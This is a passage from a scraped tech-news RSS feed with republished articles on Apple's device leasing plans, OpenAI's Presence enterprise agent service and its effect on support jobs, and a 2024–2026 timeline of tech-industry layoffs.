<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Presence raises new questions about enterprise automation and jobs]]></title>
<description><![CDATA[OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide w...]]></description>
<link>https://tsecurity.de/de/3694769/ai-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694769/ai-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:08 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.</p>



<p class="wp-block-paragraph">The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.</p>



<p class="wp-block-paragraph">OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.</p>



<p class="wp-block-paragraph">Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.</p>



<p class="wp-block-paragraph">OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.</p>



<p class="wp-block-paragraph">Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected <a href="https://www.computerworld.com/article/4136024/openai-partners-with-consulting-giants-to-deploy-enterprise-ai-agents.html">global systems integrators</a>.</p>



<p class="wp-block-paragraph">Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.</p>



<h2 class="wp-block-heading">Workforce impact</h2>



<p class="wp-block-paragraph">OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.</p>



<p class="wp-block-paragraph"><a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.</p>



<p class="wp-block-paragraph">Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.</p>



<p class="wp-block-paragraph">“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.</p>



<p class="wp-block-paragraph">The first workforce effect is more likely to be <a href="https://www.cio.com/article/4015750/cios-see-ai-prompting-new-it-hiring-even-as-boards-push-for-job-cuts.html">slower hiring than immediate layoffs</a>, according to <a href="https://www.linkedin.com/in/tulikasheel/" target="_blank" rel="noreferrer noopener">Tulika Sheel</a>, senior vice president at Kadence International.</p>



<p class="wp-block-paragraph">“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”</p>



<p class="wp-block-paragraph">Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.</p>



<p class="wp-block-paragraph">However, <a href="https://omdia.tech.informa.com/authors/lian-jye-su" target="_blank" rel="noreferrer noopener">Lian Jye Su</a>, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.</p>



<p class="wp-block-paragraph">Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.</p>



<h2 class="wp-block-heading">Cost and operational risks</h2>



<p class="wp-block-paragraph">Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.</p>



<p class="wp-block-paragraph">“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.</p>



<p class="wp-block-paragraph">The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but <a href="https://www.computerworld.com/article/4128310/openai-responds-to-claude-cowork-with-its-own-platform-to-help-build-deploy-and-manage-ai-agents.html">integration and governance</a>,” Jain added.</p>



<p class="wp-block-paragraph">Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.</p>



<p class="wp-block-paragraph">Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.</p>



<p class="wp-block-paragraph">Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200684/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:08 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:07 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
